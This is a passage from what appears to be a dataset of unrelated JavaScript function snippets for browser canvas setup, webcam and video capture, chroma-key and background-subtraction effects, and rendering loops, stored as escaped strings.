window.bodyElement = document.getElementsByTagName('body')[0];\n bodyElement.innerHTML = '' + viewerHTML + bodyElement.innerHTML + '';\n bodyElement.style.color = blackBackgroundColor;\n\n // SET ALL THE SCREEN-FILLING ELEMENTS TO THE SIZE OF THE SCREEN.\n\n slide.width = width();\n sketch_canvas.width = width();\n events_canvas.width = width();\n\n slide.height = height();\n sketch_canvas.height = height();\n events_canvas.height = height();\n\n background.width = width();\n background.height = height();\n background.style.backgroundColor = backgroundColor;\n\n // INITIALIZE THE SKETCH CANVAS\n\n sketch_canvas.animate = function(elapsed) { sketchPage.animate(elapsed); }\n sketch_canvas.overlay = function() { sketchPage.overlay(); }\n sketch_canvas.setup = function() {\n window.onbeforeunload = function(e) { sketchBook.onbeforeunload(e); }\n setPage(0);\n }\n\n events_canvas.keyDown = function(key) { e2s(); sketchPage.keyDown(key); }\n events_canvas.keyUp = function(key) { e2s(); sketchPage.keyUp(key); }\n events_canvas.mouseDown = function(x, y, z) { e2s(); sketchPage.mouseDown(x, y, z); }\n events_canvas.mouseDrag = function(x, y, z) { e2s(); sketchPage.mouseDrag(x, y, z); }\n events_canvas.mouseMove = function(x, y, z) { e2s(); sketchPage.mouseMove(x, y, z); }\n events_canvas.mouseUp = function(x, y, z) { e2s(); sketchPage.mouseUp (x, y, z); }\n\n fourStart();\n\n if (window['scene_div'] !== undefined) {\n scene_div.width = width();\n scene_div.height = height();\n var sceneElement = document.getElementById('scene_div');\n sceneElement.appendChild(renderer.domElement);\n }\n\n // SET SIZE OF WEBGL CANVAS\n\n webgl_canvas.width = width();\n webgl_canvas.height = height();\n\n // START WEBGL MODELER\n\n if (isPhone()) {\n sketchPadding *= 2;\n }\n\n lightTracker = new LightTracker(video_analysis_canvas);\n\n window.ctScene = new CT.Scene(webgl_canvas);\n ctScene.setLight(0, [ 1, 1, 1]);\n ctScene.setLight(1, [-1,-1,-1], [.1, .05, 0]);\n ctScene.setFOV(isPhone() ? PI / 2.5 : PI / 6);\n\n initCTPath();\n\n // START ALL CANVASES RUNNING\n\n var c = document.getElementsByTagName(\"canvas\");\n\n initEventHandlers(events_canvas);\n initSketchCanvas();\n\n // SET SIZE OF VIDEO CANVAS\n\n video_canvas.width = width();\n video_canvas.height = height();\n\n // server = new Server();\n // socket = server.connectSocket();\n\n midi = new Midi();\n\n document.title = 'Chalktalk';\n }","function init(options) {\n\t\t// sanity check\n\t\tif (!options) {\n\t\t\tthrow 'No options object provided';\n\t\t}\n\n\t\t// incoming options with defaults\n\t\tvideo = options.video || document.createElement('video');\n\t\tmotionCanvas = options.motionCanvas || document.createElement('canvas');\n\t\tcaptureIntervalTime = options.captureIntervalTime || 100;\n\t\tcaptureWidth = options.captureWidth || 640;\n\t\tcaptureHeight = options.captureHeight || 480;\n\t\tdiffWidth = options.diffWidth || 64;\n\t\tdiffHeight = options.diffHeight || 48;\n\t\tpixelDiffThreshold = options.pixelDiffThreshold || 32;\n\t\tscoreThreshold = options.scoreThreshold || 16;\n\t\tincludeMotionBox = options.includeMotionBox || false;\n\t\tincludeMotionPixels = options.includeMotionPixels || false;\n\n\t\t// callbacks\n\t\tinitSuccessCallback = options.initSuccessCallback || function() {};\n\t\tinitErrorCallback = options.initErrorCallback || function() {};\n\t\tstartCompleteCallback = options.startCompleteCallback || function() {};\n\t\tcaptureCallback = options.captureCallback || function() {};\n\n\t\t// non-configurable\n\t\tcaptureCanvas = document.createElement('canvas');\n\t\tdiffCanvas = document.createElement('canvas');\n\t\tisReadyToDiff = false;\n\n\t\t// prep video\n\t\tvideo.autoplay = true;\n\n\t\t// prep capture canvas\n\t\tcaptureCanvas.width = captureWidth;\n\t\tcaptureCanvas.height = captureHeight;\n\t\tcaptureContext = captureCanvas.getContext('2d');\n\n\t\t// prep diff canvas\n\t\tdiffCanvas.width = diffWidth;\n\t\tdiffCanvas.height = diffHeight;\n\t\tdiffContext = diffCanvas.getContext('2d');\n\n\t\t// prep motion canvas\n\t\tmotionCanvas.width = diffWidth;\n\t\tmotionCanvas.height = diffHeight;\n\t\tmotionContext = motionCanvas.getContext('2d');\n\n\t\trequestWebcam();\n\t}","initCanvas() { \n\t\tthis.canvas = document.getElementById(\"canvas\");\n\t\tthis.canvas.width = this.level.getNumBlocksRow * Block.SIZE + (2 * Sprite.SIDE_LR_WIDTH);\n\t\tthis.canvas.height = this.level.getNumBlocksColumn * Block.SIZE + (3 * Sprite.SIDE_TMD_HEIGHT) + Sprite.PANEL_HEIGHT;\n\t\tthis.ctx = this.canvas.getContext(\"2d\");\t\n\t}","constructor(sourceCanvas, resultCanvas) {\n this.source = sourceCanvas.getContext(\"2d\")\n this.result = resultCanvas.getContext(\"2d\")\n }","function CanvasInit(){\n context.fillStyle = 'white';\n context.fillRect(0,0,canvas.width, canvas.height);\n context.fillStyle = 'black';\n context.strokeStyle = 'black'\n setUpCanvas();\n clear();\n}","_initCanvas (canvas) {\n if (canvas) {\n this.canvas = canvas\n this.width = canvas.width\n this.height = canvas.height\n } else {\n this.canvas = document.createElement('canvas')\n this.canvas.width = this.width\n this.canvas.height = this.height\n this.canvas.style.width = '100%'\n this.canvas.style.height = '100%'\n this.canvas.style.imageRendering = 'pixelated'\n document.body.appendChild(this.canvas)\n }\n }","function Init() {\n // Get context handles\n CanvasHandle = document.getElementById(\"canvas\");\n CanvasHandle.width = ratioX * scale;\n CanvasHandle.height = ratioY * scale;\n ContextHandle = CanvasHandle.getContext(\"2d\");\n CanvasWidth = ContextHandle.canvas.clientWidth;\n CanvasHeight = ContextHandle.canvas.clientHeight;\n\n // Create an image backbuffer\n BackCanvasHandle = document.createElement(\"canvas\");\n BackContextHandle = BackCanvasHandle.getContext(\"2d\");\n BackCanvasHandle.width = CanvasWidth;\n BackCanvasHandle.height = CanvasHeight;\n\n // Set line style\n BackContextHandle.lineCap = \"butt\";\n BackContextHandle.lineJoin = \"round\";\n\n // Get the canvas center\n CenterX = CanvasWidth / 2;\n CenterY = CanvasHeight / 2;\n Camera = {x:0, y:0, z:1};\n}","set canvas(c){\n this._canvas = c ;\n if (c){\n this._context = c.getContext('2d') ;\n }\n }","function startVideo() {\n navigator.getUserMedia(\n { \n video: \n {\n //the ideal part is imp, it helps to get 16:9 ratio also\n height : { ideal : window.innerHeight } ,\n width : { ideal : window.innerWidth }\n } \n } ,\n stream => video.srcObject = stream,\n err => console.error(err)\n ) \n}","function initVideo() {\n log_d(\"Initializing the video subsystem\");\n\n var setVideoDev = function (devs) {\n log_d(\"Got video capture devices: \" + JSON.stringify(devs));\n var dev = '';\n $.each(devs, function (k, v) {\n dev = k;\n $('#webcamsSelect').append($(' '));\n });\n if (dev) {\n log_d(\"Using video capture device: \" + JSON.stringify(devs[dev]));\n window.configuredDevice = dev;\n service.setVideoCaptureDevice(CDO.createResponder(startLocalPreview), dev);\n } else {\n log_e(\"None video capture devices installed.\");\n }\n };\n log_d(\"Getting video capture devices\");\n service.getVideoCaptureDeviceNames(CDO.createResponder(setVideoDev));\n\n}","function demo(vid) {\n\tvar video = vid;\n\tvar demo = this;\n\tvar width = 640, height = 480;//can also use video.offsetHeight/video.offsetWidth but the value seems to change once the video actually starts.\n\tvar el = document.getElementById('demo-content');\n\t\n\tvar gui = new dat.GUI({ autoPlace: false });\n\tel.appendChild(gui.domElement);\n\t\n\tvar videoImageContext;\n\t\n\t//public variables:\n\tthis.mode = \"chromaKey\";\n\tgui.add(this, \"mode\", [\"Chroma Key\", \"Subtraction\", \"Fancy Method\"]);\n\t\n\tthis.bg_snapshot = function(){\n\t\tsnapshot();\n\t}\n\tgui.add(this, \"bg_snapshot\");\n\n\tinit();\n\t\n\tfunction init() {\n\t\tvideoImage = document.createElement( 'canvas' );\n\t\tvideoImage.width = width;\n\t\tvideoImage.height = height;\n\t\tel.appendChild( videoImage );\n\t\t\n\t\tvideoImageContext = videoImage.getContext( '2d' );\n\t\tvideoImageContext.scale(-1, 1);\n\t\tanimate();\n\t}\n\t\n\tfunction animate(){\n\t\trequestAnimationFrame( animate );\n\t\trender();\n\t}\n\t\n\tfunction drawImage(){\n\t\t//mirror the image using scale(-1, 1)\n\t\tvideoImageContext.drawImage(video, -width, 0, width, height);\n\t\t//videoImageContext.drawImage(video, 0, 0, width, height); //original method\n\t}\n\t\n\tfunction render(){\n\t\tif (video.readyState === video.HAVE_ENOUGH_DATA ){\n\t\t\tdrawImage();\n\t\t\tswitch (this.mode){\n\t\t\t\tcase 'Chroma Key':\n\t\t\t\t\tchromaKey();\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'Subtraction':\n\t\t\t\t\tsubtraction();\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'Fancy Method':\n\t\t\t\t\tfancy();\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tchromaKey();\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tvar color_ratio = 2.5, threshold = 40;\n\tfunction chromaKey() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tvar l = frame.data.length / 4;\n\t\t\n\t\tfor (var i = 0; i < l; i++) {\n\t\t\tvar pos = i*4;\n\t\t\tvar r = frame.data[pos + 0];\n\t\t\tvar g = frame.data[pos + 1];\n\t\t\tvar b = frame.data[pos + 2];\n\t\t\tif (b>r && b>g && (b>r*color_ratio || b>g*color_ratio) && b > threshold){\n\t\t\t\tframe.data[pos + 0] = 255;\n\t\t\t\tframe.data[pos + 1] = 255;\n\t\t\t\tframe.data[pos + 2] = 255;\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t}\n\t\t//renderer.clear();\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t\t//videoImageContext.clearRect(0,0,50,50);\n\t}\n\t\n\tvar old_data = [], index = 0, buffer_length = 5, std_cutoff = 40;\n\tfunction fancy() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\told_data[index] = new Uint8ClampedArray(frame.data);\n\t\t\n\t\tvar current_buffer_size = old_data.length;\n\t\tvar l = frame.data.length / 4;\n\t\tfor (var i = 0; i < l; i++) {\n\t\t\tvar pos = i*4, mean = 0;\n\t\t\tfor (var j = 0; j < current_buffer_size; j++)\n\t\t\t\tmean += (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t\t\tmean /= buffer_length;\n\t\t\t\n\t\t\tvar std = 0;\n\t\t\tfor (var j = 0; j < current_buffer_size; j++) {\n\t\t\t\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t\t\t\tstd += Math.pow(color_avg - mean, 2);\n\t\t\t}\n\t\t\tstd = Math.sqrt(std);\n\t\t\t//console.log('std: ', std);\n\t\t\t\n\t\t\tif (std < std_cutoff){\n\t\t\t\t//frame.data[pos + 0] = 255;\n\t\t\t\t//frame.data[pos + 1] = 255;\n\t\t\t\t//frame.data[pos + 2] = 255;\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t\t//frame.data[pos + 3] = Math.exp(std);\n\t\t}\n\t\t//renderer.clear();\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t\t//videoImageContext.clearRect(0,0,50,50);\n\t\tindex = (index+1)%buffer_length;\n\t\t//console.log('index: ', index);\n\t}\n\t\n\tvar snapshot_data;\n\tfunction snapshot(){\n\t\tdrawImage();\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tsnapshot_data = new Uint8ClampedArray(frame.data);\n\t}\n\t\n\tvar first = true, difference_threshold = 20, frame_length=0;\n\tfunction subtraction() {\n\t\tvar frame = videoImageContext.getImageData(0, 0, width, height);\n\t\tif (first) {\n\t\t\tsnapshot();\n\t\t\tfirst = false;\n\t\t\tframe_length = frame.data.length / 4;\n\t\t}\n\t\tfor (var i = 0; i < frame_length; i++) {\n\t\t\tvar pos = i*4, r = pos, g = pos+1, b = pos+2;\n\t\t\t\n\t\t\tvar difference = Math.sqrt((Math.pow(frame.data[r]-snapshot_data[r], 2) + Math.pow(frame.data[g]-snapshot_data[g], 2) + Math.pow(frame.data[b]-snapshot_data[b], 2))/3);\n\t\t\tif (difference < difference_threshold) {\n\t\t\t\tframe.data[pos + 3] = 0;\n\t\t\t}\n\t\t}\n\t\tvideoImageContext.putImageData(frame, 0, 0);\n\t}\n\t\n\t//var bin_images = [], bin_counts = [], total_bins = 5, curr_bins = 0, frame_length = 0;\n\t//function subtraction() {\n\t// var frame = videoImageContext.getImageData(0, 0, width, height);\n\t// if (curr_bins < bins) {\n\t//\t\tbin_images[curr_bins] = new Uint8ClampedArray(frame.data);\n\t//\t\tcurr_bins++;\n\t//\t\tframe_length = frame.data.length / 4;\n\t//\t}\n\t// for (var i = 0; i < frame_length; i++) {\n\t//\t\tvar pos = i*4, best_bin = 0, r = pos, g = pos+1, b = pos+2;\n\t//\t\t\n\t//\t\tvar min_idx = 0, min_val = -1;\n\t//\t\tfor (var j = 0; j < curr_bins; j++){\n\t//\t\t\tvar data = possible_backgrounds[j];\n\t//\t\t\tvar difference = Math.sqrt((Math.pow(frame.data[r]-data[r], 2) + Math.pow(frame.data[g]-data[g], 2) + Math.pow(frame.data[b]-data[b], 2))/3);\n\t//\t\t\tif (difference < max_val || min_val == -1) {\n\t//\t\t\t\tmax_val = difference;\n\t//\t\t\t\tmin_idx = j;\n\t//\t\t\t}\n\t//\t\t}\n\t//\t\t\n\t//\t\t\n\t//\t\tvar std = 0;\n\t//\t\tfor (var j = 0; j < buffer_length; j++) {\n\t//\t\t\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\n\t//\t\t\tstd += Math.pow(color_avg - mean, 2);\n\t//\t\t}\n\t//\t\tstd = Math.sqrt(std);\n\t//\t\t//console.log('std: ', std);\n\t//\t\t\n\t// if (std < std_cutoff){\n\t// //frame.data[pos + 0] = 255;\n\t// //frame.data[pos + 1] = 255;\n\t// //frame.data[pos + 2] = 255;\n\t// frame.data[pos + 3] = 0;\n\t// }\n\t//\t\t//frame.data[pos + 3] = Math.exp(std);\n\t// }\n\t// //renderer.clear();\n\t// videoImageContext.putImageData(frame, 0, 0);\n\t// //videoImageContext.clearRect(0,0,50,50);\n\t//\tindex = (index+1)%buffer_length;\n\t//\t//console.log('index: ', index);\n\t//}\n}","function canvasInit() {\n var canvas = document.getElementById(\"canvas\");\n if (canvas.getContext) {\n var ctx = canvas.getContext(\"2d\");\n ctx.fillStyle = '#444';\n ctx.font = '28px Arial';\n wrapText(ctx, \"← Start by entering a jsonline.com url on the left.\", 100, 25, 700, 50);\n step = 0;\n }\n}","function initEditorCanvas() {\n let canvas = document.getElementById('editorCanvas');\n // Resize the canvas.\n canvas.width = EDITOR_SCALE * CHR_WIDTH;\n canvas.height = EDITOR_SCALE * CHR_HEIGHT;\n\n let ctx = cmn.getContext2DNA(canvas);\n ctx.imageSmoothingEnabled = false;\n ctx.scale(EDITOR_SCALE, EDITOR_SCALE);\n\n // Canvas is white by default.\n ctx.fillStyle = 'black';\n ctx.fillRect(0, 0, CHR_WIDTH, CHR_HEIGHT);\n\n canvas.addEventListener('mousedown', function (me) { _mouseDown = true; onMouseMove(me); });\n canvas.addEventListener('mousemove', onMouseMove);\n canvas.addEventListener('mouseup', function (me) { _mouseDown = false; });\n canvas.addEventListener('mouseleave', function (me) { _mouseDown = false; });\n}","function init() {\n canvas = document.getElementById('can');\n ctx = canvas.getContext(\"2d\");\n}","function init() {\n // Put event listeners into place\n // Notice that in this specific case handlers are loaded on the onload event\n window.addEventListener('DOMContentLoaded', function() {\n // Grab elements, create settings, etc.\n var canvas = document.getElementById('canvas');\n var context = canvas.getContext('2d');\n var video = document.getElementById('video');\n var mediaConfig = {\n video: true,\n };\n var errBack = function(e) {\n console.log('An error has occurred!', e);\n };\n\n // Put video listeners into place\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n navigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\n video.srcObject = stream;\n video.onloadedmetadata = function(e) {\n video.play();\n };\n });\n }\n\n // Trigger photo take\n document.getElementById('snap').addEventListener('click', function() {\n context.drawImage(video, 0, 0, 640, 480);\n state.photoSnapped = true; // photo has been taken\n });\n\n // Trigger when upload button is pressed\n document.getElementById('upload').addEventListener('click', uploadImage);\n\n document.getElementById('search').addEventListener('click',searchPhoto);\n\n }, false);\n\n }","function main()\n{\n\t//Function to execute when a canvas is created:\n\tvar canvasLoaded = 0;\n\tvar onLoadCanvas = function()\n\t{\n\t\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\"Canvas '\" + this.getId() + \"' loaded! Mode used: \" + this.getMode()); }\n\n\t\tcanvasLoaded++;\n\n\t\t//Gets the \"context\" object to start working with the canvas:\n\t\tvar canvasContext = this.getContext();\n\t\tif (!canvasContext) { CB_console(\"ERROR: canvas context could not be obtained! Drawing cannot be performed.\"); return; }\n\n\t\t//Stores the canvas in the 'canvases' object:\n\t\tcanvases[this.getId()] = this;\n\n\t\t//If both canvas (normal and buffer) have been created, proceeds with the rendering:\n\t\tif (canvasLoaded >= 2)\n\t\t{\n\t\t\t//When the screen changes its size or its orientation, both canvases will be re-adapted:\n\t\t\tvar onResizeOrChangeOrientationTimeout = null;\n\t\t\tvar onResizeOrChangeOrientation = function()\n\t\t\t{\n\t\t\t\tclearTimeout(onResizeOrChangeOrientationTimeout);\n\t\t\t\tonResizeOrChangeOrientationTimeout = setTimeout //NOTE: needs a delay as some clients on iOS update the screen size information in two or more steps (last step is the correct value).\n\t\t\t\t(\n\t\t\t\t\tfunction()\n\t\t\t\t\t{\n\t\t\t\t\t\t//Resizes the canvas:\n\t\t\t\t\t\tcanvases[\"my_canvas\"].setWidth(CB_Screen.getWindowWidth());\n\t\t\t\t\t\tcanvases[\"my_canvas\"].setHeight(CB_Screen.getWindowHeight());\n\t\t\t\t\t\tcanvases[\"my_canvas\"].clear(); canvases[\"my_canvas\"].disableAntiAliasing();\n\t\t\t\t\t\t\n\t\t\t\t\t\t//Resizes the buffer canvas:\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].setWidth(CB_Screen.getWindowWidth());\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].setHeight(CB_Screen.getWindowHeight());\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].clear();\n\t\t\t\t\t\tcanvases[\"my_canvas_buffer\"].disableAntiAliasing();\n\t\t\t\t\t}\n\t\t\t\t);\n\t\t\t};\n\t\t\tCB_Screen.onResize(onResizeOrChangeOrientation);\n\n\t\t\t//Clears both canvas:\n\t\t\tcanvases[\"my_canvas\"].clear();\n\t\t\tcanvases[\"my_canvas_buffer\"].clear();\n\t\t\t\n\t\t\t//Disables anti-aliasing to avoid problems with adjacent sprites:\n\t\t\tcanvases[\"my_canvas\"].disableAntiAliasing();\n\t\t\tcanvases[\"my_canvas_buffer\"].disableAntiAliasing();\n\t\t\t\n\t\t\t//Creates the sprites groups:\n\t\t\tvar graphicSpritesSceneObject = createSpritesGroups();\n\n\t\t\t//Caches all needed images (performance purposes) and starts rendering sprites groups when all are loaded:\n\t\t\tmyREM = new CB_REM();\n\t\t\tmyREM.cacheImages\n\t\t\t(\n\t\t\t\tgraphicSpritesSceneObject, //CB_GraphicSpritesSceneObject.\n\t\t\t\tundefined, //reload.\n\t\t\t\tfunction(imagesLoaded) //onLoad.\n\t\t\t\t{\n\t\t\t\t\t//Sets the current time as the start time to start counting the FPS (erased each second automatically):\n\t\t\t\t\tmyREM._startTimeFPS = CB_Device.getTiming();\n\n\t\t\t\t\t//Show the FPS (Frames Per Second) every time there is a new value:\n\t\t\t\t\tmyREM.onUpdatedFPS(function(FPS) { graphicSpritesSceneObject.getById(\"fps_group\").getById(\"fps\").src = \"FPS: \" + FPS; });\n\t\t\t\t\t\n\t\t\t\t\t//Processes the sprites groups:\n\t\t\t\t\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\"Starts processing graphic sprites scene ('CB_GraphicSpritesScene' object) constantly...\"); }\n\t\t\t\t\t\n\t\t\t\t\tprocessSpritesGroups(graphicSpritesSceneObject, canvases[\"my_canvas\"], canvases[\"my_canvas\"].getContext(), canvases[\"my_canvas_buffer\"], canvases[\"my_canvas_buffer\"].getContext());\n\t\t\t\t}\n\t\t\t);\n\t\t}\n\t};\n\t\n\t//Creates the canvases:\n\tvar canvases = {};\n\tcanvases[\"my_canvas\"] = new CB_Canvas\n\t(\n\t\t\"my_canvas\", //canvasId. Unique required parameter.\n\t\t\"2d\", //contextType. NOTE: some emulation methods only support \"2d\". Default: \"2d\".\n\t\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\n\t\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\n\t\tonLoadCanvas, //onLoad.\n\t\tfunction(error) { CB_console(\"Canvas object problem! Error: \" + error); }, //onError.\n\t\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\n\t);\n\tcanvases[\"my_canvas_buffer\"] = new CB_Canvas\n\t(\n\t\t\"my_canvas_buffer\", //canvasId. Unique required parameter.\n\t\t\"2d\", //contextType. NOTE: some emulation methods only support \"2d\". Default: \"2d\".\n\t\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\n\t\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\n\t\tonLoadCanvas, //onLoad.\n\t\tfunction(error) { CB_console(\"Canvas object problem! Error: \" + error); }, //onError.\n\t\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\n\t);\n}","function initializeCanvas() {\n\tcanvas = document.getElementById(\"canvas\");\n\tctx = canvas.getContext(\"2d\");\n}","init() {\n const canvas = document.createElement('canvas');\n\n canvas.style.display = 'none';\n canvas.style.position = 'fixed';\n canvas.style.top = '0px';\n canvas.style.left = '0px';\n canvas.style.zIndex = '1000000';\n this.canvas = canvas;\n\n this.context = canvas.getContext('2d');\n\n document.body.appendChild(canvas);\n\n window.addEventListener('resize', (event) => this.resize());\n\n // UI events\n window.addEventListener('mousemove', (event) => this.mouseMove(event));\n window.addEventListener('mouseup', (event) => this.mouseUp(event));\n window.addEventListener('mousedown', (event) => this.mouseDown(event));\n window.addEventListener('keydown', (event) => this.keyDown(event));\n\n this.resize();\n }","function Init() {\r\n // Get context handles\r\n CanvasHandle = document.getElementById(\"canvas\");\r\n ContextHandle = CanvasHandle.getContext(\"2d\");\r\n CanvasWidth = ContextHandle.canvas.clientWidth;\r\n CanvasHeight = ContextHandle.canvas.clientHeight;\r\n\r\n // Create an image backbuffer\r\n BackCanvasHandle = document.createElement(\"canvas\");\r\n BackContextHandle = BackCanvasHandle.getContext(\"2d\");\r\n BackCanvasHandle.width = CanvasWidth;\r\n BackCanvasHandle.height = CanvasHeight;\r\n\r\n // Set line style\r\n BackContextHandle.lineCap = \"butt\";\r\n BackContextHandle.lineJoin = \"round\";\r\n BackContextHandle.strokeStyle = \"rgb(255, 255, 255)\";\r\n\r\n // Get the canvas center\r\n CenterX = CanvasWidth / 2;\r\n CenterY = CanvasHeight / 2;\r\n Camera = {x:0, y:0, r:20};\r\n}","function init() {\n redrawTIAIndicator = true;\n usePhosphor = false;\n phosphorBlendPercent = JsVideoConsts.DEFAULT_PHOSPHOR_BLEND;\n\n // Allocate buffers for two frame buffers\n jsvideo.currentFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\n previousFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\n initBackBuffer(JsVideoConsts.DEFAULT_WIDTH, JsVideoConsts.DEFAULT_HEIGHT);\n initPalettes();\n loadImages();\n jsvideo.initialize();\n }","function video() {\n\t\t$('#wrapper').fitVids();\n\t}","function paintToCanvas() {\n // first we need the width and height\n const width = video.videoWidth;\n const height = video.videoHeight;\n // make sure now that the canvas is the same size as the video before we paint into it\n canvas.width = width;\n canvas.height = height;\n\n // now ever x seconds we're going to snap a picture\n setInterval(() => {\n ctx.drawImage(video, 0, 0, width, height); // paint with the video, starting at the left top of the canvas, with the width and height specified above;\n // take the pixels out\n let pixels = ctx.getImageData(0, 0, width, height); // we get an array of millions of pixel values with each one it's own color value\n // messing with the pixels\n //pixels = redEffect(pixels); // the function redEffect is all the way down below\n pixels = rgbSplit(pixels); // I'm choosing to play with this one instead of the two other functions\n ctx.globalAlpha = 0.8;\n //pixels = greenScreen(pixels);\n // putting the pixels back back\n ctx.putImageData(pixels, 0, 0);\n }, 16); // here every 16 milliseconds a picture is taken from the video\n}","function initCanvas() {\n if(isDebugged) {\n debug.style.display = \"block\";\n } else {\n debug.style.display = \"none\";\n }\n\n console.log(\"initializing canvas\");\n\n //var canvasElement = document.querySelector(\"#canvas\");\n canvas = new fabric.Canvas(\"canvas\",{\n selection: false,\n height: canvas_initial_height,\n width: canvas_initial_width,\n backgroundColor: canvas_background_color\n });\n\n //canvas.isDrawingMode = true;\n\n canvas.on(\"mouse:down\", onMouseDownCanvas);\n\n canvas.on(\"mouse:up\", onMouseUpCanvas);\n\n canvas.on(\"mouse:move\", onMouseMoveCanvas);\n\n //updateAndSyncCanvasSize(canvas_initial_width, canvas_initial_height);\n}","function setupMedia() {\n if (supportsMedia()) {\n audioContext = new AudioContext();\n\n navigator.getUserMedia(\n {\n video: false,\n audio: true\n },\n function (localMediaStream) {\n // map the camera\n var video = document.getElementById('live_video');\n video.src = window.URL.createObjectURL(localMediaStream);\n\n // create the canvas & get a 2d context\n videoCanvas = document.createElement('canvas');\n videoContext = videoCanvas.getContext('2d');\n\n // setup audio recorder\n var audioInput = audioContext.createMediaStreamSource(localMediaStream);\n //audioInput.connect(audioContext.destination);\n // had to replace the above with the following to mute playback\n // (so you don't get feedback)\n var audioGain = audioContext.createGain();\n audioGain.gain.value = 0;\n audioInput.connect(audioGain);\n audioGain.connect(audioContext.destination);\n\n audioRecorder = new Recorder(audioInput);\n mediaStream = localMediaStream;\n mediaInitialized = true;\n\n document.getElementById('uploading').hidden = true;\n document.getElementById('media-error').hidden = true;\n document.getElementById('record').hidden = false;\n },\n function (e) {\n console.log('web-cam & microphone not initialized: ', e);\n document.getElementById('media-error').hidden = false;\n }\n );\n }\n}","function init(){\n W = canvas.width = window.innerWidth;\n H = canvas.height = window.innerHeight;\n\n // getting all the frames into the array of frames\n loadFrames();\n // creating the origin object\n origin = new Origin();\n}","function setUpCanvas() {\n /* clearing up the screen */\n clear();\n /* Set display size (vw/vh). */\n var sizeWidth = (80 * window.innerWidth) / 100,\n sizeHeight = window.innerHeight;\n //Setting the canvas site and width to be responsive\n upperLayer.width = sizeWidth;\n upperLayer.height = sizeHeight;\n upperLayer.style.width = sizeWidth;\n upperLayer.style.height = sizeHeight;\n lowerLayer.width = sizeWidth;\n lowerLayer.height = sizeHeight;\n lowerLayer.style.width = sizeWidth;\n lowerLayer.style.height = sizeHeight;\n rect = upperLayer.getBoundingClientRect();\n}","function setup() {\n createCanvas(640, 480);\n\n video = createCapture(VIDEO);\n video.size(width, height);\n\n // Create a new poseNet method with a single detection\n poseNet = ml5.poseNet(video, modelReady);\n // This sets up an event that fills the global variable \"poses\"\n // with an array every time new poses are detected\n poseNet.on('pose', function(results) {\n poses = results;\n debugger;\n });\n // Hide the video element, and just show the canvas\n video.hide();\n}","function initVideo(){\n\t\t//fit all videos in their parent container\n\t\tjQuery(\".scalevid\").fitVids();\n\t}","function initCanvasAndEditor() {\n // Editor\n initEditor();\n\n // Canvas\n canvasResizer();\n renderCanvas();\n\n // Listeners\n addListeners();\n}","run() {\n requestAnimationFrame(() => {\n this.runFrame();\n });\n\n this.output.video.run();\n\n this.running = true;\n this.paused = false;\n }","function init() \n {\n\t\t\n\t\t// initialize variables\n\t\tvideo = document.getElementById(\"video1\");\n\t\tcanvas = document.getElementById(\"canvas\");\n\t\ttime_slider = document.getElementById(\"time_slider\");\n label_CurrenFrame = document.getElementById(\"currentFrameTime\");\n label_VideoLength = document.getElementById(\"videoLength\");\n\t\tprevious_frame = document.getElementById(\"previousFrame\");\n\t\tnext_frame = document.getElementById(\"nextFrame\");\n\t\tcontainer = document.getElementById(\"container\");\n\t\tcreate_sum = document.getElementById(\"submit\");\n\t\t\n //initialize events\n\t\tcanvas.addEventListener(\"click\", saveFrame, false);\n\t\tcanvas.addEventListener(\"mousemove\", mouseMove, false);\n\t\ttime_slider.addEventListener(\"change\", UpdateFrame, false);\n\t\ttime_slider.addEventListener(\"input\", UpdateFrame, false);\n\t\t\n\t\tdocument.getElementById('files').addEventListener('change', FileChosen);\n\t\tdocument.getElementById('UploadButton').addEventListener('click', StartUpload); \n\t\t\n video.addEventListener('loadeddata', function () {\n label_CurrenFrame.innerHTML = secondsToTimeString(video.currentTime);\n label_VideoLength.innerHTML = secondsToTimeString(video.duration);\n });\n \n\t\tprevious_frame.addEventListener('click', \n\t\tfunction() {\n\t\t\tif (actual_frame === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (isUndefined(actual_frame)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (actual_frame.second <= 0) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar value = Math.floor((actual_frame.second - 1) * 100 / video.duration);\n\t\t\tif (value >= 0 && value <= 